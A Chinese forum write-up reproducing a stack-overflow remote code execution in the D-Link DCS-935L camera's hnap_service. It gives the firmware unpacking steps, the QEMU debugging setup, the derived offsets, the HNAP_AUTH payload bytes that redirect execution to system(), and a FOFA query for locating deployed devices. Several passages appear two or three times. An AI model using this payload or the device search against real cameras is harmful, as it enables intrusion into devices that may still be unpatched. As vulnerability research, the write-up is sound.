-
-
D-Link 摄像头栈溢出漏洞复现
-
发表于: 7小时前 253
-
本文是对 D-Link DCS-935L 网络摄像头已知栈溢出漏洞的复现与学习记录。漏洞作者为某不愿意透露姓名的师傅,在此感谢原作者的分享。
本文主要侧重于分析过程,如逐步追踪调用链,通过逆向分析手动推导偏移量,调试验证Poc等环节以便于大家可以更直观地看到漏洞从发现到利用的全链路分析思路。
声明:本文仅用于网络安全技术学习与研究,所有测试均在本地 QEMU 模拟环境中进行。设备已经停产,且该漏洞已有对应编号,以及补丁,请用户及时更新固件。


从溢出点开始向上逐步追踪
#http_body = xml格式
REQUEST_METHOD = b"POST"
SOAP_ACTION = b"1"
CONTENT_LENGTH = str(len(http_body)).encode()
#HNAP_AUTH = b"A"*1072+b"B"*4+b" "+b" "+b"CCCCCCCC"
#HNAP_AUTH = b"A"*200+b"B"*4+b" "+b" "+b"CCCCCCCC"
#HNAP_AUTH = b"A"*1072+b" "+b"\x40\x35\xA0"+b"CCCC"+b" "+b" "+b"DDDDDDD"
#HNAP_AUTH = b"A"*1072+b" "+b"\x40\x33\xCC"+b"CCCC"+b" "+b" "+b"D"*52+b"EEEE"
HNAP_AUTH = b"A"*1036+b" "+b"\x43\x12\x48"+b"B"*32+b" "+b"\x40\x33\xCC"+b" "+b" "+b"DDDD"
COOKIE = b"uid=1234567890a"
本文是对 D-Link DCS-935L 网络摄像头已知栈溢出漏洞的复现与学习记录。漏洞作者为某不愿意透露姓名的师傅,在此感谢原作者的分享。
本文主要侧重于分析过程,如逐步追踪调用链,通过逆向分析手动推导偏移量,调试验证Poc等环节以便于大家可以更直观地看到漏洞从发现到利用的全链路分析思路。
声明:本文仅用于网络安全技术学习与研究,所有测试均在本地 QEMU 模拟环境中进行。设备已经停产,且该漏洞已有对应编号,以及补丁,请用户及时更新固件。
- 固件:
DCS-935L_A1_FW_1.10.01_20161128_r4156.bin - 分析工具:Binwalk、IDA Pro
- 调试环境:QEMU (qemu-mips) + chroot + GDB
- 在找设备漏洞时,首先要查询"用户量",利用FOFA搜索设备确定用户量,以用户量来判断是否有价值,FOFA搜索语法
app="D_Link-DCS-935L" && after="2026-01-01" - 固件下载站:4faK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6D9k6h3N6S2j5%4W2X3K9h3I4W2M7#2)9J5k6i4g2K6i4K6u0W2k6r3I4A6L8X3E0Q4x3X3g2U0L8$3#2Q4x3V1k6p5b7#2y4Q4x3X3b7&6x3K6g2x3i4K6u0r3f1V1g2h3b7g2)9J5c8V1k6u0f1V1#2i4b7g2u0q4i4K6u0r3
squashfs-root:是分析固件功能、漏洞、配置的核心目录。通常包含:二进制文件,配置文件,Web界面文件,初始化脚本,驱动、库文件squashfs-root-0,squashfs-root-1:额外的SquashFS 文件系统镜像。2818:原始数据块,通常是 binwalk 识别出但无法归类为特定文件系统的二进制数据。2818.7z:由 binwalk 自动重命名并尝试解压的 7-Zip 压缩文件。说明在偏移量 2818 处有一个 7z 压缩包被识别出来。可能有固件的一些敏感信息161422.squashfs:是一个完整的 SquashFS 文件系统镜像文件。在偏移量 161422 字节处
- 看文件结构,Linux 的文件目录,所以下一步很明确,就是从这个"mini Linux"中找到"可执行文件"

- 文件目录已经看到web了,打开以后发现
cgi-bin,其中包含了hnap文件夹,在D-Link、TP-Link、Linksys等多家厂商的嵌入式设备中,HNAP是一个非常常见的Web管理协议。HNAP通常由hnap_service、hnap_main、hnap_cgi等程序实现。在这里我们找到了hnap_service.
- V12来自于HNAP_AUTH
- 没检查长度

- 目的地址haystack仅256字节,且是局部变量在栈上

- 综上,可判断此处或存在栈溢出漏洞,将V12重命名为input_HNAP_AUTH
- 下载好后得到一个*.bin的文件,*.bin虽然能用7z查看,但是直接解压会出问题,还是需要工具
- 使用命令
binwalk -e ./DCS-935L_A1_FW_1.10.01_20161128_r4156.bin,对固件进行解包,得到解包后的文件
- 搜索栈溢出漏洞常见的API ,如sprint、fstrcpy、sprintf+system
- 对strcpy查看交叉引用,得到调用位置,一个个找看看有没有符合溢出条件的

- 找到其中的一个strcpy
- 条件1:
COOKIE="uid="——if(V16),需要v16=strstr(haystack,"uid=")所以需要包含"uid="
- 条件2:此处不能返回所以HNAP_AUTH和COOKIE都不能为空

- 条件3:要给个xml文档。需要包含<soap:Body>标签,并且<soap:Body>标签内的第一个子标签不能是GetMultipleHNAPs,PushDCHEvent,PushDCHEventList,Login,DoAction

- 条件4:xml具体路径在调用方给了
/tmp/.hnap_in.xml,并且会从stdin中读取
- 条件5:
CONTENT_LENGTH < 0x20000 且 ==sizeof(stdin),SOAP_ACTION需要有内容,REQUEST_METHOD=="POST"
- 根据上述的追踪内容,可以确定调用链如下
- REQUEST_METHOD=="POST"
- SOAP_ACTION需要有内容
- CONTENT_LENGTH < 0x20000并且是xml的大小
- xml文档需要使用stdin输入(http_body)
- HNAP_AUTH==导致栈溢出的数据
- COOKIE=="uid=XXXXX"

- REQUEST_METHOD=="POST"
- SOAP_ACTION需要有内容
- CONTENT_LENGTH < 0x20000并且是xml的大小
- xml文档需要使用stdin输入(http_body)
- HNAP_AUTH==导致栈溢出的数据
- COOKIE=="uid=XXXXX"

- 将qemu-mips拷贝到当前固件的目录
cp /usr/bin/qemu-mips ./ - 设置当前目录为根目录,
chroot . ./bin/sh - 尝试运行之前分析的程序
./qemu-mips /web/cgi-bin/hnap/hnap_service,无提示说明已运行 - 尝试修改
REQUEST_METHOD=="POST"命令:export REQUEST_METHOD="POST"
输出了之前代码分析里的内容,说明程序正常运行 
- 按照之前的分析设置好参数
- 标准输入构造的xml,命名为stdin.txt
export REQUEST_METHOD="POST"export SOAP_ACTION="1"export CONTENT_LENGTH="210"export HNAP_AUTH=溢出export COOKIE="uid=1234567890a"
- 设置完成后调试
./qemu-mips -g 1234 /web/cgi-bin/hnap/hnap_service < /stdin.txt
- 开启调试,在main函数下断点,单步验证我们之前的分析,可以看到栈被破坏,由此可确定此处确实存在溢出

- 标准输入构造的xml,命名为stdin.txt
export REQUEST_METHOD="POST"export SOAP_ACTION="1"export CONTENT_LENGTH="210"export HNAP_AUTH=溢出export COOKIE="uid=1234567890a"
- 编写python脚本(在本文最后),方便我们进行调试。调试时发现,覆盖缓冲区后,未执行到return就崩了,找一下崩溃原因,V20是空指针,因为HNAP_AUTH是很多A,没有空格,所以没法分割,所以给俩空格让strtok能分割

- 确定返回地址在栈上的位置:由于产生栈溢出的函数是非叶子函数,所以ra寄存器会存到栈上位置为
2B28B70C而haystack地址是2B28B2DC(栈地址不是每次固定,这里只是为了算偏移量)
- 计算出两个地址在栈上的偏移量为十进制的1072,修改一下poc

- 再次运行,此次ra寄存器在栈上位置为2B28B64C,可以观察到返回地址被覆盖为了BBBB,且返回后PC指向了42424242,程序崩溃。接下来修改BBBB即可控制PC

- 确定有没有开启NX,RWE,说明栈是可以执行的

- 但是由于栈地址随机,无法直接在栈里写入shellcode(地址未知),所以需要找跳板,而在这个程序中没有找到合适的跳板,但是程序本身调用了system(直接调用)和memcpy(固定shellcode),所以可以直接跳过去进行调用
00431248:是存储http_body给的XML文档中<soap:Body>标签第一个子标签的全局变量,可以用于传递system的参数
- 观察调用
system的地方,s0可以通过栈溢出控制,偏移量1036。所以让RA=004033CC,S0=00431248,http_body传入参数ls让system调用,即可实现RCE
- 修改poc运行,成功执行ls命令

本文是对 D-Link DCS-935L 网络摄像头已知栈溢出漏洞的复现与学习记录。漏洞作者为某不愿意透露姓名的师傅,在此感谢原作者的分享。
本文主要侧重于分析过程,如逐步追踪调用链,通过逆向分析手动推导偏移量,调试验证Poc等环节以便于大家可以更直观地看到漏洞从发现到利用的全链路分析思路。
声明:本文仅用于网络安全技术学习与研究,所有测试均在本地 QEMU 模拟环境中进行。设备已经停产,且该漏洞已有对应编号,以及补丁,请用户及时更新固件。
DCS-935L_A1_FW_1.10.01_20161128_r4156.binapp="D_Link-DCS-935L" && after="2026-01-01"binwalk -e ./DCS-935L_A1_FW_1.10.01_20161128_r4156.bin,对固件进行解包,得到解包后的文件 
squashfs-root:是分析固件功能、漏洞、配置的核心目录。通常包含:二进制文件,配置文件,Web界面文件,初始化脚本,驱动、库文件squashfs-root-0, squashfs-root-1:额外的SquashFS 文件系统镜像。2818:原始数据块,通常是 binwalk 识别出但无法归类为特定文件系统的二进制数据。2818.7z:由 binwalk 自动重命名并尝试解压的 7-Zip 压缩文件。说明在偏移量 2818 处有一个 7z 压缩包被识别出来。可能有固件的一些敏感信息161422.squashfs:是一个完整的 SquashFS 文件系统镜像文件。在偏移量 161422 字节处
cgi-bin,其中包含了hnap文件夹,在D-Link、TP-Link、Linksys等多家厂商的嵌入式设备中,HNAP是一个非常常见的Web管理协议。HNAP通常由hnap_service、hnap_main、hnap_cgi等程序实现。在这里我们找到了hnap_service.
最后于 5小时前
被Rad1an编辑
,原因:
赞赏
赞赏
雪币:
留言: